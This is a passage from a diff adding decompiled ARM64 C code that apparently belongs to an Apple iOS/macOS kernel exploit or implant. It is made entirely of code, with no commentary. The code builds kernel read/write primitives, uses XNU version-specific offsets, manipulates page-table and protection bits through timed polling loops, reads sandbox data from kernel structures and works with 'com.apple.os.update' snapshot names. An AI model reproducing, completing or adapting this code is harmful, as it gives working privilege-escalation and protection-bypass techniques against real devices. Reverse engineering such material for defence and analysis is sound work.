a0123456789abcd[(v14 ^ a2) & 0xFLL]; + v13 += 2; + LODWORD(Length) = Length - 1; + } + while ( (_DWORD)Length ); + snprintf(__str, 0x200u, "com.apple.os.update-%s", (const char *)v50); + v15 = strdup(__str); + if ( v15 ) + { + *a1 = v15; + v16 = 1; + } + else + { +LABEL_12: + v16 = 0; + } + CFRelease(v9); + } + else + { + v16 = 0; + } + CFRelease(v7); + } + else + { + v16 = 0; + } + IOObjectRelease(v5); + return v16; +} + +//----- (00000000000226D4) ---------------------------------------------------- +__int64 sub_226D4() +{ + __int64 result; // x0 + + result = sub_4100C(255, 0, 0, 0, 0, 0); + if ( (_DWORD)result ) + return *__error() != 1; + return result; +} + +//----- (0000000000022718) ---------------------------------------------------- +__int64 __fastcall sub_22718(const char *a1, _QWORD *a2, unsigned int *a3) +{ + __int64 v6; // x23 + __int64 v7; // x0 + __int64 v8; // x19 + char *v9; // x21 + unsigned int v10; // w0 + unsigned int v11; // w23 + void *v12; // x0 + unsigned __int64 v13; // x24 + const char *v14; // x25 + __int128 v16; // [xsp+0h] [xbp-60h] BYREF + __int64 v17; // [xsp+10h] [xbp-50h] + + v16 = xmmword_43478; + v17 = 0; + *a3 = 0; + v6 = 0; + if ( sub_22878(a1) ) + { + v7 = open(a1, 0x100000, v16, v17); + if ( (v7 & 0x80000000) != 0 ) + { + return 0; + } + else + { + v8 = v7; + v9 = (char *)calloc(0x1000u, 1u); + if ( v9 + && (v10 = sub_40FDC(v8, (__int64)&v16, (__int64)v9, 4096, 64), (v10 & 0x80000000) == 0) + && (v11 = v10, *a3 = v10, v12 = calloc(v10, 8u), (*a2 = v12) != 0) ) + { + if ( v11 ) + { + v13 = 0; + v14 = v9; + do + { + if ( (v14[4] & 1) != 0 ) + { + *(_QWORD *)(*a2 + 8 * v13) = calloc(*((unsigned int *)v14 + 7), 1u); + strcpy(*(char **)(*a2 + 8 * v13), v14 + 32); + v11 = *a3; + } + else + { + *(_QWORD *)(*a2 + 8 * v13) = 0; + } + v14 += *(unsigned int *)v14; + ++v13; + } + while ( v13 < v11 ); + } + v6 = 1; + } + else + { + v6 = 0; + } + if ( (int)v8 >= 1 ) + close(v8); + if ( v9 ) + free(v9); + } + } + return v6; +} +// 43478: using guessed type __int128 xmmword_43478; + +//----- (0000000000022878) ---------------------------------------------------- +bool __fastcall sub_22878(const char *a1) +{ + int v1; // w0 + _OWORD v3[5]; // [xsp+0h] [xbp-70h] BYREF + _QWORD v4[3]; // [xsp+58h] [xbp-18h] BYREF + + v4[0] = 5; + v4[1] = 2147614720LL; + v4[2] = 0; + memset(v3, 0, 76); + v1 = getattrlist(a1, v4, v3, 0x4Cu, 0x20u); + return (v1 | DWORD2(v3[0]) & 0x20000) != 0; +} + +//----- (00000000000228E4) ---------------------------------------------------- +__int64 __fastcall sub_228E4(const char *a1, const char *a2, char a3) +{ + __int64 v6; // x19 + unsigned __int64 v7; // x26 + const char **v8; // x27 + char *v9; // x22 + unsigned __int64 v10; // x23 + _BOOL4 v12; // w8 + _BOOL4 v13; // w25 + __int64 v14; // x20 + __int64 v15; // x22 + const char **v16; // x21 + bool v17; // zf + void **v18; // x23 + void *v19; // t1 + char *v21; // x23 + const char *v22; // x24 + char *v23; // [xsp+0h] [xbp-70h] BYREF + char *__s2; // [xsp+8h] [xbp-68h] BYREF + unsigned int v25; // [xsp+14h] [xbp-5Ch] BYREF + const char **v26; // [xsp+18h] [xbp-58h] BYREF + + v26 = 0; + v25 = 0; + v23 = 0; + __s2 = 0; + if ( (unsigned int)sub_224BC(&__s2, 0) + && (unsigned int)sub_224BC(&v23, 0x41u) + && (unsigned int)sub_22718(a1, &v26, &v25) ) + { + v6 = open(a1, 0x100000); + if ( (v6 & 0x80000000) != 0 ) + { + v14 = 0; + } + else + { + v7 = v25; + if ( v25 ) + { + v8 = v26; + v9 = __s2; + if ( !strcmp(*v26, __s2) ) + { + v12 = 0; + v13 = 1; + } + else + { + v10 = 1; + while ( v7 != v10 ) + { + if ( !strcmp(v8[v10++], v9) ) + { + v12 = 0; + v13 = v10 - 1 < v7; + goto LABEL_39; + } + } + v13 = v10 < v7; + v21 = v23; + while ( 1 ) + { + v22 = *v8; + if ( !strcmp(*v8, v21) ) + goto LABEL_37; + if ( a2 && !strcmp(v22, a2) ) + break; + ++v8; + if ( !--v7 ) + goto LABEL_28; + } + if ( (a3 & 1) != 0 ) + { +LABEL_37: + v12 = sub_4100C(3, v6, (__int64)v22, (__int64)v9, 0, 0) == 0; + goto LABEL_39; + } + v12 = 1; + } + } + else + { + v13 = 0; +LABEL_28: + v12 = 0; + } +LABEL_39: + v14 = v13 | (unsigned int)v12; + } + } + else + { + v14 = 0; + LODWORD(v6) = -1; + } + v15 = v25; + v16 = v26; + if ( v25 ) + v17 = v26 == 0; + else + v17 = 1; + if ( !v17 ) + { + v18 = (void **)v26; + do + { + v19 = *v18++; + free(v19); + --v15; + } + while ( v15 ); + free(v16); + } + if ( __s2 ) + free(__s2); + if ( v23 ) + free(v23); + if ( (int)v6 >= 1 ) + close(v6); + return v14; +} + +//----- (0000000000022ADC) ---------------------------------------------------- +__int64 __fastcall sub_22ADC(const char *a1, const char *a2) +{ + __int64 v4; // x19 + __int64 v5; // x23 + const char **v6; // x24 + char *v7; // x21 + __int64 v8; // x25 + const char **v9; // x26 + const char *v10; // x22 + char *v11; // x20 + const char *v12; // x22 + int v13; // w9 + _BOOL4 v14; // w8 + __int64 v15; // x20 + __int64 v16; // x22 + void *v17; // x21 + bool v18; // zf + void **v19; // x23 + int v21; // w0 + char *__s2; // [xsp+0h] [xbp-60h] BYREF + char *v23; // [xsp+8h] [xbp-58h] BYREF + unsigned int v24; // [xsp+14h] [xbp-4Ch] BYREF + void *v25; // [xsp+18h] [xbp-48h] BYREF + + v25 = 0; + v24 = 0; + __s2 = 0; + v23 = 0; + if ( (unsigned int)sub_224BC(&v23, 0) + && (unsigned int)sub_224BC(&__s2, 0x41u) + && (unsigned int)sub_22718(a1, &v25, &v24) ) + { + v4 = open(a1, 0x100000); + if ( (v4 & 0x80000000) != 0 ) + { + v15 = 0; + } + else + { + v5 = v24; + if ( v24 ) + { + v6 = (const char **)v25; + v7 = __s2; + v8 = v24; + v9 = (const char **)v25; + do + { + v10 = *v9; + if ( *v9 && (!strcmp(*v9, v7) || a2 && !strcmp(v10, a2)) ) + { + v14 = 0; + v13 = 1; + goto LABEL_37; + } + ++v9; + --v8; + } + while ( v8 ); + v11 = v23; + while ( 1 ) + { + v12 = *v6; + if ( *v6 ) + { + if ( !strcmp(*v6, v11) ) + break; + } + ++v6; + if ( !--v5 ) + goto LABEL_16; + } + v21 = sub_4100C(3, v4, (__int64)v12, (__int64)v7, 0, 0); + v13 = 0; + v14 = v21 == 0; + } + else + { +LABEL_16: + v13 = 0; + v14 = 0; + } +LABEL_37: + v15 = v13 | (unsigned int)v14; + } + } + else + { + v15 = 0; + LODWORD(v4) = -1; + } + v16 = v24; + v17 = v25; + if ( v24 ) + v18 = v25 == 0; + else + v18 = 1; + if ( !v18 ) + { + v19 = (void **)v25; + do + { + if ( *v19 ) + free(*v19); + ++v19; + --v16; + } + while ( v16 ); + free(v17); + } + if ( (int)v4 >= 1 ) + close(v4); + if ( v23 ) + free(v23); + if ( __s2 ) + free(__s2); + return v15; +} + +//----- (0000000000022CA8) ---------------------------------------------------- +bool __fastcall sub_22CA8(bool *a1) +{ + _BOOL8 result; // x0 + int v3; // w8 + char v5[2]; // [xsp+Eh] [xbp-892h] BYREF + statfs v6; // [xsp+10h] [xbp-890h] BYREF + + strcpy(v5, "/"); + bzero(&v6, 0x878u); + result = sub_22878(v5); + if ( result ) + { + if ( statfs(v5, &v6) ) + return 1; + v3 = HIBYTE(v6.f_fsid.val[0]) << 24; + result = v3 != 0x1000000; + if ( v3 != 0x1000000 && a1 != 0 ) + { + *a1 = strchr(v6.f_mntfromname, 64) == 0; + return 1; + } + } + return result; +} + +//----- (0000000000022D6C) ---------------------------------------------------- +__int64 __fastcall sub_22D6C(struct_krwCtx *a1, __int64 a2, int a3) +{ + __int64 v6; // x23 + char v7; // w25 + __int64 v8; // x28 + __int64 v9; // x20 + __int64 v10; // x24 + __int64 *v11; // x1 + __int64 v12; // x27 + __int64 v13; // x26 + __int64 v14; // x23 + __int64 v15; // x24 + unsigned __int64 v16; // x0 + __int64 v17; // x9 + unsigned __int64 v18; // x8 + int v19; // w25 + __int64 v20; // x8 + __int64 v21; // x28 + __int64 v22; // x8 + __int64 v23; // x8 + unsigned __int16 v24; // w28 + const __int16 *v25; // x9 + __int64 i; // x10 + __int64 v27; // x8 + unsigned __int16 v28; // w25 + const __int16 *v29; // x9 + __int64 j; // x10 + int v31; // w8 + _BOOL4 v32; // w12 + char v33; // w9 + unsigned int v34; // w9 + unsigned int v35; // w10 + unsigned int v36; // w10 + int v37; // w21 + __int64 v39; // [xsp+18h] [xbp-228h] + _QWORD *v40; // [xsp+20h] [xbp-220h] + __int64 v41; // [xsp+28h] [xbp-218h] + __int64 v42; // [xsp+30h] [xbp-210h] + __int64 v43; // [xsp+40h] [xbp-200h] + __int64 v44; // [xsp+48h] [xbp-1F8h] + _BOOL4 has_flag; // [xsp+60h] [xbp-1E0h] + int v46; // [xsp+64h] [xbp-1DCh] + unsigned __int64 v47; // [xsp+68h] [xbp-1D8h] + _OWORD v48[4]; // [xsp+70h] [xbp-1D0h] BYREF + __int64 v49[7]; // [xsp+B0h] [xbp-190h] BYREF + _QWORD v50[7]; // [xsp+E8h] [xbp-158h] BYREF + __int128 __s2; // [xsp+120h] [xbp-120h] BYREF + __int128 v52; // [xsp+130h] [xbp-110h] + __int128 v53; // [xsp+140h] [xbp-100h] + __int128 v54; // [xsp+150h] [xbp-F0h] + _OWORD v55[2]; // [xsp+160h] [xbp-E0h] BYREF + _OWORD v56[2]; // [xsp+180h] [xbp-C0h] + _OWORD __s1[4]; // [xsp+1A0h] [xbp-A0h] BYREF + + if ( krw_ctx_has_flag(a1, 35651584) ) + v6 = 0x406000000LL; + else + v6 = 0x206000000LL; + if ( krw_ctx_has_flag(a1, 35651584) ) + v7 = 15; + else + v7 = 14; + if ( krw_ctx_has_flag(a1, 0x1000000) ) + { + v8 = 0x7FFFFFF; + } + else if ( krw_ctx_has_flag(a1, 35651584) ) + { + v8 = 0x3FFFFFF; + } + else + { + v8 = 0x3FFFFF; + } + v9 = 708642; + if ( (unsigned int)sub_23348((__int64)a1, 1) ) + { + v10 = sub_23424(a1); + if ( (_DWORD)v10 ) + { +LABEL_85: + sub_25164((__int64)a1, 4u); + return v10; + } + if ( (unsigned int)sub_38870(a1, v6 | 0x140000, (__int64)v49) ) + { + v10 = 708642; + goto LABEL_85; + } + if ( (unsigned int)sub_38870(a1, v6 | 0x150000, (__int64)v50) ) + { + v11 = v49; +LABEL_84: + sub_38BCC((__int64)a1, (__int64)v11); + v10 = v9; + goto LABEL_85; + } + if ( !sub_236A4(a1, v6, v48) ) + { +LABEL_83: + sub_38BCC((__int64)a1, (__int64)v49); + v11 = v50; + goto LABEL_84; + } + v12 = v49[0]; + v13 = v50[0]; + v42 = *(_QWORD *)(v49[0] + 264); + v14 = *(_QWORD *)(v50[0] + 64LL); + v15 = *(_QWORD *)(v50[0] + 72LL); + if ( krw_ctx_has_flag(a1, 17825792) ) + { + v39 = *(_QWORD *)(v50[0] + 32LL); + v40 = (_QWORD *)(v50[0] + 32LL); + *(_QWORD *)(v50[0] + 32LL) = 1; + } + else + { + v39 = 0; + v40 = 0; + } + v16 = sub_23700((__int64)a1, a2 & 0xFFFFFFFFFFFFFFC0LL); + if ( v16 ) + { + v47 = v42 | 0x8000000000000000LL; + v17 = ((-1 << v7) & 0x4000 ^ 0x7FC0) & (unsigned int)v16 | 0x2000000; + v41 = (v16 >> 37) & 0x1F; + v18 = v16 >> v7; + v19 = 0; + v20 = v18 & v8; + v21 = a2 & 0x3F; + v43 = v20 << 18; + v44 = v17; + while ( 1 ) + { + if ( !(unsigned int)kreadbuf_last_1(a1, a2 & 0xFFFFFFFFFFFFFFC0LL, 64, &__s2) ) + { +LABEL_72: + v37 = 0; + goto LABEL_76; + } + if ( v19 ) + { + if ( !memcmp(__s1, &__s2, 0x40u) ) + goto LABEL_30; + if ( !memcmp(&__s2, v55, 0x40u) || *(_DWORD *)((char *)&__s2 + v21) == a3 ) + { + v37 = 0; + v9 = 0; + goto LABEL_76; + } + } + __s1[0] = __s2; + __s1[1] = v52; + __s1[2] = v53; + __s1[3] = v54; + v55[0] = __s2; + v55[1] = v52; + v56[0] = v53; + v56[1] = v54; + *(_DWORD *)((char *)v55 + v21) = a3; +LABEL_30: + if ( !(unsigned int)sub_23760(a1, (__int64)v48) ) + goto LABEL_72; + *(_QWORD *)(v12 + 264) |= 0x8000000000000001LL; + while ( (~*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)a1, 0x64u); + *(_QWORD *)(v12 + 8) &= ~0x1000000000000000uLL; + *(_QWORD *)(v12 + 264) &= v47; + while ( (*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)a1, 0x64u); + v22 = 0; + *(_QWORD *)(v13 + 64) = v44; + do + { + *(_QWORD *)(v13 + 72) = *(_QWORD *)((char *)v55 + v22); + v22 += 8; + } + while ( v22 != 64 ); + v23 = 0; + v24 = 0; + v25 = asc_43490; + do + { + for ( i = 0; i != 32; ++i ) + { + if ( ((*((_DWORD *)v55 + v23) >> i) & 1) != 0 ) + v24 ^= v25[i]; + } + ++v23; + v25 += 32; + } + while ( v23 != 8 ); + v46 = v19; + v27 = 0; + v28 = 0; + v29 = asc_43490; + do + { + for ( j = 0; j != 32; ++j ) + { + if ( ((*((_DWORD *)v56 + v27) >> j) & 1) != 0 ) + v28 ^= v29[j]; + } + ++v27; + v29 += 32; + } + while ( v27 != 8 ); + has_flag = krw_ctx_has_flag(a1, 540673); + if ( krw_ctx_has_flag(a1, 35651584) && (v31 = v41 | v24 & 0x3E0, v31 != v24) ) + { + v34 = 10; + v32 = has_flag; + do + { + v35 = (unsigned __int16)(v31 ^ v24) ^ ((unsigned __int16)(v31 ^ v24) >> 8); + v36 = v35 ^ (v35 >> 4) ^ ((v35 ^ (v35 >> 4)) >> 2); + if ( ((v36 ^ (v36 >> 1)) & 1) == 0 ) + break; + v31 ^= 1 << --v34; + } + while ( v34 > 5 ); + } + else + { + LOWORD(v31) = v24; + v32 = has_flag; + } + v33 = 40; + if ( !v32 ) + v33 = 8; + *(_QWORD *)(v13 + 72) = v43 & 0x3FFFFFFFFFFFFLL + | ((unsigned __int64)v28 << 50) + | ((unsigned __int64)(unsigned __int16)v31 << v33) + | 0x1F; + *(_QWORD *)(v12 + 264) |= 0x8000000000000001LL; + while ( (~*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)a1, 0x64u); + *(_QWORD *)(v12 + 8) |= 0x1000000000000000uLL; + v21 = a2 & 0x3F; + if ( !(unsigned int)kreadbuf_last_1(a1, a2, 4, (char *)&__s2 + v21) ) + goto LABEL_74; + if ( *(_DWORD *)((char *)&__s2 + (a2 & 0x3F)) == a3 ) + { + v9 = 0; +LABEL_74: + v37 = 1; + goto LABEL_76; + } + *(_QWORD *)(v12 + 264) &= v47; + while ( (*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)a1, 0x64u); + if ( (sub_2385C(a1, (__int64)v48) & 1) == 0 ) + goto LABEL_74; + v19 = v46 + 1; + if ( v46 == 15 ) + goto LABEL_72; + } + } + v37 = 0; +LABEL_76: + if ( v42 && *(_QWORD *)(v12 + 264) != v42 ) + *(_QWORD *)(v12 + 264) &= v42 | 0x8000000000000000LL; + *(_QWORD *)(v13 + 64) = v14; + *(_QWORD *)(v13 + 72) = v15; + if ( krw_ctx_has_flag(a1, 17825792) ) + { + *v40 = v39; + if ( (v37 & 1) == 0 ) + { +LABEL_82: + sub_38BCC((__int64)a1, (__int64)v48); + goto LABEL_83; + } + } + else if ( !v37 ) + { + goto LABEL_82; + } + sub_2385C(a1, (__int64)v48); + goto LABEL_82; + } + return v9; +} +// 43490: using guessed type __int16 asc_43490[3]; + +//----- (0000000000023348) ---------------------------------------------------- +__int64 __fastcall sub_23348(__int64 a1, int a2) +{ + __int64 v3; // x8 + __int64 v4; // x20 + uint64_t v5; // x8 + + if ( a2 ) + { + v3 = *(_QWORD *)(a1 + 280); + if ( v3 ) + { + if ( *(_QWORD *)(a1 + 288) ) + { + v4 = *(_QWORD *)(v3 + 336); + if ( v4 ) + { + v5 = (mach_absolute_time() - v4) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608); + if ( v5 <= 0x1312CFF ) + sub_2AABC(a1, 1000 * (20 - (unsigned int)v5 / 0xF4240)); + } + } + } + if ( (unsigned int)sub_251A4(a1, 4u, 0x3E8u) ) + return 0; + if ( *(_QWORD *)(a1 + 280) ) + { + if ( *(_QWORD *)(a1 + 288) ) + *(_QWORD *)(*(_QWORD *)(a1 + 280) + 336LL) = mach_absolute_time(); + } + } + else + { + sub_25164(a1, 4u); + } + return 1; +} + +//----- (0000000000023424) ---------------------------------------------------- +__int64 __fastcall sub_23424(struct_krwCtx *a1) +{ + unsigned __int64 v1; // d8 + unsigned __int64 v2; // d9 + unsigned __int64 v4; // x21 + uint64_t v5; // x20 + __int64 v6; // x22 + int v7; // w1 + __int64 v8; // x20 + int v9; // w21 + __int64 v10; // x22 + bool v11; // zf + __int64 v12; // x8 + __int64 v13; // x9 + uint64_t v14; // x20 + _QWORD v16[7]; // [xsp+0h] [xbp-70h] BYREF + mach_timebase_info info; // [xsp+38h] [xbp-38h] BYREF + + v4 = 0x23B080000LL; + info = 0; + mach_timebase_info(&info); + LODWORD(v2) = info.denom; + LODWORD(v1) = info.numer; + v5 = mach_absolute_time(); + if ( krw_ctx_has_flag(a1, 0x1000000) ) + { + v4 = 0x23B700000LL; + goto LABEL_10; + } + if ( krw_ctx_has_flag(a1, 0x100000) ) + { + v6 = 0x404E80000LL; + v7 = 0x2000000; + goto LABEL_7; + } + if ( krw_ctx_has_flag(a1, 0x80000) ) + { + v6 = 0x28E580000LL; + v7 = 0x200000; +LABEL_7: + if ( krw_ctx_has_flag(a1, v7) ) + v4 = v6; + else + v4 = 0x23B700000LL; + goto LABEL_10; + } + if ( !krw_ctx_has_flag(a1, 0x4000) && !krw_ctx_has_flag(a1, 1) ) + return 708642; +LABEL_10: + if ( (unsigned int)sub_38870(a1, v4, (__int64)v16) ) + return 708642; + v9 = 520102911; + if ( !krw_ctx_has_flag(a1, 0x1000000) ) + { + if ( krw_ctx_has_flag(a1, 0x100000) ) + { + if ( (int)number_of_cpus() < 8 ) + { + v10 = 968; + goto LABEL_33; + } + v11 = !krw_ctx_has_flag(a1, 0x2000000); + v12 = 264; + v13 = 1072; + } + else + { + if ( krw_ctx_has_flag(a1, 0x80000) ) + { + if ( (int)number_of_cpus() < 8 ) + { + v10 = 976; + goto LABEL_33; + } + v11 = !krw_ctx_has_flag(a1, 0x200000); + v12 = 960; + } + else + { + v9 = 520094719; + if ( krw_ctx_has_flag(a1, 0x4000) ) + { + v10 = 912; + goto LABEL_33; + } + if ( !krw_ctx_has_flag(a1, 1) ) + { + v8 = 708642; + sub_38BCC((__int64)a1, (__int64)v16); + return v8; + } + v11 = (unsigned int)number_of_cpus() == 8; + v12 = 904; + } + v13 = 1016; + } + if ( v11 ) + v10 = v13; + else + v10 = v12; + goto LABEL_33; + } + v10 = 1032; +LABEL_33: + if ( (~*(_DWORD *)(v16[0] + v10) & 0xF) != 0 ) + { + v14 = (unsigned __int64)((double)v2 / (double)v1 * 1000000.0 * 1000.0 + (double)v5); + *(_DWORD *)(v10 + v16[0]) = v9; + while ( mach_absolute_time() < v14 && (~*(_DWORD *)(v16[0] + v10) & 0xF) != 0 ) + ; + sub_2AABC((__int64)a1, 0x3E8u); + } + sub_38BCC((__int64)a1, (__int64)v16); + return 0; +} +// 23600: variable 'v2' is possibly undefined +// 23604: variable 'v1' is possibly undefined + +//----- (00000000000236A4) ---------------------------------------------------- +bool __fastcall sub_236A4(struct_krwCtx *a1, __int64 a2, _OWORD *a3) +{ + int v5; // w21 + + a3[2] = 0u; + a3[3] = 0u; + *a3 = 0u; + a3[1] = 0u; + v5 = sub_38870(a1, a2 + 0x40000, (__int64)a3); + if ( v5 ) + sub_38BCC((__int64)a1, (__int64)a3); + return v5 == 0; +} + +//----- (0000000000023700) ---------------------------------------------------- +__int64 __fastcall sub_23700(__int64 a1, __int64 a2) +{ + int v4; // w0 + _BYTE v6[32]; // [xsp+8h] [xbp-38h] BYREF + __int64 v7; // [xsp+28h] [xbp-18h] + + sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 392), (__int64)v6); + if ( v4 && v7 ) + return (*(_QWORD *)(a1 + 392) & a2) + (v7 & 0xFFFFFFFFC000LL); + else + return 0; +} +// 2372C: variable 'v4' is possibly undefined + +//----- (0000000000023760) ---------------------------------------------------- +__int64 __fastcall sub_23760(struct_krwCtx *a1, __int64 a2) +{ + __int64 v4; // x21 + unsigned __int64 v6; // d0 + unsigned __int64 v7; // d1 + uint64_t v8; // x21 + mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF + + v4 = **(_QWORD **)a2; + if ( (v4 & 0x90000000) == 0 ) + { + if ( krw_ctx_has_flag(a1, 17825792) ) + sub_2AABC((__int64)a1, 0x3E8u); + **(_QWORD **)a2 = v4 | 0x80000000LL; + *(_BYTE *)(a2 + 56) = 1; + info = 0; + mach_timebase_info(&info); + LODWORD(v6) = info.denom; + LODWORD(v7) = info.numer; + v8 = (unsigned __int64)((double)v6 / (double)v7 * 1000000.0 * 1000.0 + (double)mach_absolute_time()); + while ( mach_absolute_time() < v8 ) + { + if ( (**(_QWORD **)a2 & 0x10000000) != 0 ) + return 1; + } + } + if ( *(_BYTE *)(a2 + 56) ) + sub_2385C(a1, a2); + return 0; +} +// 23808: variable 'v6' is possibly undefined +// 2380C: variable 'v7' is possibly undefined + +//----- (000000000002385C) ---------------------------------------------------- +__int64 __fastcall sub_2385C(struct_krwCtx *a1, __int64 a2) +{ + unsigned __int64 v4; // x21 + unsigned __int64 v5; // d0 + unsigned __int64 v6; // d1 + uint64_t v7; // x20 + mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF + + if ( !*(_BYTE *)(a2 + 56) ) + return 1; + v4 = **(_QWORD **)a2 & 0xFFFFFFFF2FFFFFFFLL | 0x40000000; + if ( krw_ctx_has_flag(a1, 17825792) ) + sub_2AABC((__int64)a1, 0x3E8u); + **(_QWORD **)a2 = v4; + info = 0; + mach_timebase_info(&info); + LODWORD(v5) = info.denom; + LODWORD(v6) = info.numer; + v7 = (unsigned __int64)((double)v5 / (double)v6 * 1000000.0 * 1000.0 + (double)mach_absolute_time()); + while ( mach_absolute_time() < v7 ) + { + if ( (**(_QWORD **)a2 & 0x10000000) == 0 ) + { + *(_BYTE *)(a2 + 56) = 0; + return 1; + } + } + return 0; +} +// 238CC: variable 'v5' is possibly undefined +// 238D0: variable 'v6' is possibly undefined + +//----- (0000000000023940) ---------------------------------------------------- +__int64 __fastcall sub_23940(struct_krwCtx *a1, __int64 a2) +{ + void *v3; // x20 + __int64 v4; // x19 + __int64 v6; // [xsp+0h] [xbp-40h] BYREF + _QWORD v7[3]; // [xsp+8h] [xbp-38h] BYREF + unsigned int v8; // [xsp+24h] [xbp-1Ch] BYREF + void *v9; // [xsp+28h] [xbp-18h] BYREF + + v9 = 0; + v8 = 0; + if ( !(unsigned int)sub_239D8(a1, 0, 0, &v9, &v8, 0) ) + return 0xFFFFFFFFLL; + v6 = 0x786F62646E6153LL; + v7[0] = a2; + v3 = v9; + v7[1] = v9; + v7[2] = v8; + v4 = sub_40FB0((__int64)&v6, 1, (__int64)v7); + if ( v3 ) + free(v3); + return v4; +} + +//----- (00000000000239D8) ---------------------------------------------------- +__int64 __fastcall sub_239D8(struct_krwCtx *a1, _QWORD *a2, _DWORD *a3, _QWORD *a4, _DWORD *a5, int a6) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + _QWORD *v13; // x19 + _DWORD *v14; // x22 + __int64 v15; // x25 + __int64 v16; // x27 + __int64 v17; // x28 + unsigned int v18; // w21 + unsigned __int64 someLargeNumber; // x9 + unsigned __int64 v20; // x26 + unsigned __int64 v21; // x1 + size_t v22; // x27 + void *v23; // x25 + void *v24; // x24 + unsigned __int64 v25; // x1 + __int64 v26; // x26 + _DWORD *v27; // [xsp+0h] [xbp-70h] + __int64 address; // [xsp+8h] [xbp-68h] BYREF + int v29; // [xsp+10h] [xbp-60h] BYREF + _DWORD __size[3]; // [xsp+14h] [xbp-5Ch] BYREF + + result = 0; + v29 = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8019 ) + { + if ( xnuMajorVersion <= 8795 ) + { + if ( xnuMajorVersion != 8020 && xnuMajorVersion != 8792 ) + return result; + goto LABEL_18; + } + if ( xnuMajorVersion == 8796 ) + { +LABEL_18: + v13 = a4; + v14 = a3; + v27 = a5; + v18 = 16; + v16 = 4; + v17 = 24; + v15 = 16; + goto LABEL_26; + } + if ( xnuMajorVersion != 10002 ) + return result; + v13 = a4; + v14 = a3; + v27 = a5; + v18 = 16; + v16 = 4; + v17 = 24; + v15 = 24; +LABEL_26: + v20 = a1->gap191[5]; + result = validate_addr((__int64)a1, v20); + if ( !result ) + return result; + if ( a1->someLargeNumber < 0x1F541900000000LL ) + { + v21 = v20 + v17; + } + else + { + result = kread64_outptr(a1, v20 + v15, (unsigned __int64 *)&address); + if ( !(_DWORD)result ) + return result; + result = validate_addr((__int64)a1, address); + if ( !result ) + return result; + v21 = address + v17; + } + result = kread64_outptr(a1, v21, (unsigned __int64 *)&address); + if ( !(_DWORD)result ) + return result; + if ( address ) + { + result = validate_addr((__int64)a1, address); + address = result; + if ( !result ) + return result; + result = kreadbuf_last_1(a1, v16 - v18 + result, 4, &v29); + if ( !(_DWORD)result ) + return result; + v22 = v29 - v18; + v29 = v22; + if ( (unsigned int)(v22 - 1) > 0x3FF ) + return 0; + result = (__int64)malloc(v22); + if ( !result ) + return result; + v23 = (void *)result; + if ( !(unsigned int)kreadbuf_last_1(a1, address, v22, (void *)result) ) + { + v24 = 0; +LABEL_60: + free(v23); +LABEL_61: + if ( v24 ) + free(v24); + return 0; + } + } + else + { + v23 = 0; + } + if ( !a2 && !v14 ) + { + *v13 = v23; + *v27 = v29; + return 1; + } + if ( a6 ) + { + v25 = sub_24208((__int64)a1); + address = v25; + if ( !v25 ) + goto LABEL_58; + } + else + { + if ( !kread64_outptr(a1, v20, (unsigned __int64 *)&address) ) + goto LABEL_58; + v25 = address; + } + if ( kread64_outptr(a1, v25, (unsigned __int64 *)&__size[1]) ) + { + v24 = 0; + if ( (unsigned int)kreadbuf_last_1(a1, address + a1->int168, 4, __size) ) + { + v26 = __size[0]; + if ( __size[0] <= 0x80000u ) + { + v24 = malloc(__size[0]); + if ( v24 ) + { + if ( (unsigned int)kreadbuf_last_1(a1, *(__int64 *)&__size[1], v26, v24) ) + { + *v13 = v23; + *v27 = v29; + result = 1; + if ( !a2 || !v14 ) + return result; + *a2 = v24; + *v14 = __size[0]; + return 1; + } + } + } + } +LABEL_59: + if ( !v23 ) + goto LABEL_61; + goto LABEL_60; + } +LABEL_58: + v24 = 0; + goto LABEL_59; + } + if ( xnuMajorVersion == 6153 ) + { + v13 = a4; + v14 = a3; + v27 = a5; + v15 = 0; + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber <= 0x18091E01EFFFFFLL ) + v18 = 32; + else + v18 = 16; + if ( someLargeNumber <= 0x18091E01EFFFFFLL ) + v16 = 8; + else + v16 = 4; + v17 = 48; + goto LABEL_26; + } + if ( xnuMajorVersion == 7195 || xnuMajorVersion == 8019 ) + { + v13 = a4; + v14 = a3; + v27 = a5; + v15 = 16; + v16 = 4; + v17 = 72; + v18 = 16; + goto LABEL_26; + } + return result; +} + +//----- (0000000000023D30) ---------------------------------------------------- +void __fastcall sub_23D30(__int64 a1, char a2) +{ + int v4; // w0 + unsigned __int64 v5; // x1 + int v6; // w20 + mach_vm_address_t v7; // x0 + __int64 v8; // x2 + int v9; // w0 + __int64 v10; // [xsp+0h] [xbp-70h] BYREF + unsigned int v11; // [xsp+Ch] [xbp-64h] BYREF + void *v12; // [xsp+10h] [xbp-60h] BYREF + unsigned int v13; // [xsp+1Ch] [xbp-54h] BYREF + void *v14; // [xsp+20h] [xbp-50h] BYREF + _QWORD v15[4]; // [xsp+28h] [xbp-48h] BYREF + + if ( (unsigned int)sub_34D14(a1, mach_task_self_) ) + { + if ( (a2 & 1) != 0 ) + { + if ( validate_addr(a1, *(_QWORD *)(a1 + 920)) ) + { + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 4) ) + { + sub_35AE0((struct_krwCtx *)a1, *(_DWORD *)(a1 + 892), 0); + if ( v4 ) + { + v5 = *(_QWORD *)(a1 + 6368); + if ( !v5 ) + { + v15[0] = 0; + v5 = sub_340D8((struct_krwCtx *)a1, mach_task_self_, v15); + *(_QWORD *)(a1 + 6368) = v5; + *(_QWORD *)(a1 + 6376) = v15[0]; + } + sub_35ECC((struct_krwCtx *)a1, v5, 10); + if ( *(int *)(a1 + 320) < 7195 ) + { + v14 = 0; + v13 = 0; + v12 = 0; + v11 = 0; + if ( (unsigned int)sub_239D8((struct_krwCtx *)a1, &v14, &v13, &v12, &v11, 1) ) + { + if ( (unsigned int)sub_24368(a1, (__int16 *)v14, v13) ) + { + v10 = 0x786F62646E6153LL; + v15[0] = v14; + v15[1] = 